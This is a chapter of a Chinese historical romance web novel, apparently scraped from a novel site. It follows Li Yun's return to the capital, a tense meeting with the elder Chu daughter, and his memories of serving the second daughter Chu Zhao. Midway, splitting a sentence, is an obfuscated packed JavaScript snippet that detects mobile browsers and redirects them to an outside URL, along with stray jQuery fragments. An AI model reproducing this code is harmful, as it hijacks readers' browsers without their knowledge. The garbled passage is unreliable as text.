万书库 > 玄幻小说 > 二小姐她为所欲为 > 8. 京都
    李云回到京都时天已经亮了,跟随他一同回来的一路人早已不见踪影。


    冬日清晨,四处的白雾逐渐散了。路上的行人并不多,他连夜赶路,周身肃杀,却轻易在街道中隐藏了气息,并不引人注意。


    路边早点店刚摆上铺,他随手掷了银子。带上包子往更狭窄的小道走。


    七拐八拐竟通向醉花楼,那的后门像是等人似的虚掩着。


    入了门再动作轻巧地翻进阁楼,那人果然早已在此等候。


    一衫红裙,青丝及腰,她正垂眸抬手伏在古琴上。大概实在认真,连他进门都不知。却并未听闻琴声响起。


    在门口等了会确定没有引人注意,他拿起包子放进嘴里,不一会香味便弥漫了整件屋子。


    “我原以为云大人会舍不得。”古琴发出难听的音调,女子紧接着开口。语气温柔,抬头看他的神色却锐利。


    她面容清秀,眉目依稀间与楚朝有几分相似,只是更为锋利些。


    原来是相府大小姐,楚月。


    李云走了几步,顺手倒了杯茶。


    “大小姐久等。”他语调谦和,一心一意地饮茶,没为她的话皱眉,甚至不曾抬头看她。


    “若是想来打听消息,天亮之后一切自有答案。天寒雾重,大小姐早些回府才好。”话说得客气,却不留情面。是在赶她走。


    古琴音又起,依旧不成曲调,较之前加了几分烦乱。


    楚月接着开口,语调更为轻柔:“我们是一种人,小云,你何必厌烦我至此。”


    她细细摸过每一根琴弦,精致漂亮的脸上露出笑来。“京都繁华,这一番劳苦功高。云大人自会扶摇直上,前途光明,我是来道贺的。”


    一根琴弦在她指尖绷紧,最后终是猝然断裂。鲜红的血落在琴面像是朱砂,她未曾感到疼般,起身向他行了个礼,往外走了。


    寒气不散,刚买的包子已经凉了,吃进口里只觉油腻难吃。


    他面无表情,一个一个塞得喉头哽住,半响却咽不下一口。


    右手握住杯子的手抓得很紧,指尖发白,茶水摇晃,看样子几乎要裂开。


    阿朝,他低声叹出这个名字,只觉得心口滴血,对自己的厌恶又深了几分。


    山上那么冷僻又荒凉。李云咽下一口茶水,又想起分别时她难过的眉眼。


    他面容恢复一贯的平静,长舒一口气,为自己下了判词。


    都是我无能。


    这么些年,无论如何,都总是我无能。


    临近春节,大街小巷四处都装点起来。


    战乱平定,皇室娶亲,这样好的喜事接连不断,京都城里的空气都显得热闹欢喜。


    这些天城里喜气洋洋,富贵人家的流言本就惹人注意,更何况牵扯进了风头鼎盛的楚家二小姐与三皇子。


    众所周知二小姐是出了名的刁蛮,在京郊久呆,不知礼数也不讨人喜欢。


    而三皇子得胜归来,得了这一桩婚事。


    沙场征战的人,不会忍气吞声。


    不少人都等着看这一场笑话。


    天色见亮,路上的行人逐渐多起来,早起的商人摆上了货铺,买卖交谈声响起。


    此处的楼里格外安静,要在晚上才会热闹起来。


    醉花楼是一贯的招摇耀眼,只恨不得把所有目光向此处聚齐。


    而他呆的屋子却空旷萧条,像个废弃的屋子,并不会有人想到这会是云大人的住处。


    他一身萧条,在这格格不入的氛围里想起往事。


    想起初见楚朝时,她还是相府里尊贵的小姐。


    那时她母亲身体已然不好,他去打扫后院的时候,楚朝正守着药炉子煎药。


    这活计无聊又漫长,她也不知守了多久,打起了瞌睡。


    那时候他也才十二三岁,不懂规矩,不明白自己该回避,只是躲开她在另一处收拾起来。


    “这个点他们都吃饭去了,你来这里干什么?”


    身后突然传来声音,他吓得扫帚掉地上了。回身见是她,又急忙行礼,匍匐在地,连头都不敢抬。


    “问你话呢,这么害怕做什么。”楚朝蹲下身,拍拍他的肩膀让他起来,就这么看着他。


    “他们说我愚笨,今日不把院子扫完,不许吃饭。”他没起身,依旧这样回话。


    深秋的天气,眼看着天黑起来。诺大的院子叫他一个人打扫,还不许吃饭,这是在欺负人。


    楚朝义愤填膺的跳起身,开口骂道:“他们凭什么这么欺负你!你别怕,带我去帮你评理。”


    这下他头埋得更低,声音也小声起来,硬着头皮继续说:“是我前些天开罪了大小姐。”


    雨天路滑,踩着石子崴了下脚不过寻常之事。


    可那人是大小姐,大小姐生气,自有人遭殃。


    楚朝听了这话倒沉默了。本以为她走了,片刻后她又拉他起身,语调依旧欢快:


    “正好药也熬好了,小厨房准备了甜点,随我去吃。”


    他大吃一惊,反应过来就想推拒。


    可女孩的手牵得很紧,“若有人再为难你,只管找我理论好了。”


    那晚的糕点香甜无比,缠绵病榻的女人朝他笑得温婉,富丽堂皇的宅子里有这样的温情。


    虽然他战战兢兢不敢多吃,此后的日子更是被当做异类排挤,却总是悄悄想起此事,一刻都不舍得忘。


    后来楚朝母亲病逝,她在相府的日子也艰难起来。


    她母亲是前丞相最受宠的女儿,当年和驸马爷的婚事也算是郎才女貌的佳话。谁曾想如今却落得个凄凉的下场。


    院子里挂起白布的时候,他远远地望过一眼。


    楚朝披麻戴孝,正守着棺木吊唁,来往的人并不多。有人正对她说什么,她神色木然,只是点头。


    身份低微,他连走近一些都不敢。心里只觉得这屋子空旷压抑,而她又那么瘦弱伶仃。


    守灵的烛火烧了五日,他也在此处守了五日。庭院门口罗雀,也不知道是否被她发现。


    五日期满,一切仪式都按惯例办完了,本就偏僻的院子更显得冷清。


    那时天气已经快入冬,天气转凉,混着细密的雨水更是荒凉。


    楚朝久居不出,除了每日有人送来吃食,院子里的门几乎没打开过。


    没过几日,丞相带人来过一次,不到一刻钟又离开。


    他在远处看着,见他面色不虞,数日的担心终是压抑不住。等着送餐食的人离开,他混进了院子。


    出他所料,院子里的一应物件和他上次前来并无不同。楚朝正在前厅吃饭,简单的饭菜,她吃得津津有味。


    看见是他惊讶片刻,露出笑来。“是你啊。”她说,又想起什么似的皱眉,“他们没再欺负你吧。”


    楚朝这样自然,他满腔的话竟不知从何开口。张了张嘴结巴了一样说话:“我,我都好。我是,担心你。”


    “担心我,担心我什么?”她起身给他倒了杯茶,示意他坐着说话。


    “伤心欲绝,食不下咽,最后含恨而终?”她神色开朗,好像他的担心不过是多此一举的小事。


    茶水滚烫,驱散了周身的寒气。他心里千头万绪的担忧就这样被抚平,从怀里掏出藏了许久


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547454|204208||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的糕点递给她。


    “我带了这个给你。也许你喜欢。”


    精致的糕点在他怀里揣了许久已经有些碎了,油纸打开更显得惨不忍睹。他反手就想掩上,楚朝动作比他更快一步。


    “谢谢你。”她说,拿起一个塞进嘴里,眯起眼睛笑起来。“比我上次给你的还好吃呢。”


    天色逐渐暗了,此处烛火幽微,四处的陈设也破旧。


    明明彼此的境遇都不好,明明她是相府二小姐而他不过是奴仆,可他们却在这里分食同一份糕点。


    他胆子大了些,饮一口茶水又装作自然的开口:“以后我给你常带好不好。”


    楚朝动作停了,郑重其事地看了他片刻。


    而他在这样的注视下停了动作,低头不敢看她,连呼吸都放轻。


    “相爷来过了。”她缓慢地开口,说的却是另一件事。“让我搬出此处,说既往不咎。”


    他神色依旧紧张,楚朝看着好笑,抬手替他续了茶水,继续说:“我说我要去京郊为母亲守孝三年。毕竟母亲的恩情我实在难忘。他大概嫌我说话难听,又看我碍眼,准了此事。”


    京郊有个荒凉的宅子,他是知道的。


    偶尔听其他奴仆谈起,说荒郊野岭的连侍从都不愿去,到那去的主子都是有罪之人,不出两年就死在那里。


    眼前楚朝神色镇定,眼神里没有担忧,她还在继续说“你不如留在此处替我照看院子,只是孤单了些,也不会有人再欺负你。”


    他不过是这府里最卑微渺小的一个奴仆罢了,连个正经名字都没有。照顾主子的活计干不好还要惹人生气,后厨打杂笨手笨脚不够机灵,仓库帮工也被嫌弃,只能在后院打扫收整还要害得大小姐崴脚。


    以后会怎样,他偶尔会想这个问题,可实在愚笨,想不出什么答案。


    可这位二小姐不仅会替他出头,给他糕点,还要替他谋划。


    明明她自己分明也身不由己。


    楚朝还在看着他,等他的回答。


    他心口像是点燃了一簇火光,烧得他周身滚烫,眼眶湿润。可开口说出的话却是低声的恳求:“我陪你去,好不好?我陪你去。”


    屋子里静了片刻。楚朝神色认真起来,对视片刻知道他不是玩笑。


    没答应他也没拒绝他,她开口问道:“你叫什么名字?”


    先前她问过这话,他那时含糊了过去,草率仓促的名字不足以挂齿,楚朝便也没有多问。


    可眼下她眼神专注,语气认真,像是在许什么承诺。


    叫什么名字,他想。


    卑贱之人会有什么好听的名字,可是他实在贪心,连名字都想离她近一些。


    鱼鳞云薄日光明,万里晴空好天晴。


    这话他常听人说,眼下虽然并不天晴,可他却总想守着这个太阳。


    “李云。”


    他说:“二小姐,我叫李云。”


    此后千难万险,千指万骂,灾祸罪行,皆归我因。


    房门被敲了敲,他回过神,桌上的茶水已经凉透了。


    “云大人几时回来的,可曾吃过早点?”低哑难听的声调,是醉花楼的嬷嬷。


    “回来不久,已经吃过了。”他站在原地未动。


    “大小姐方才出去了,看起来不大高兴。”


    那声音继续说。李云知道她是在试探,


    “事情已经办完,方才是我言辞不当。”


    那人紧迫的追问才停止,片刻后又继续说:“太子殿下请云大人午后流云阁一叙。”


    “有劳。”他舒了口气,知道一切不过刚刚开始。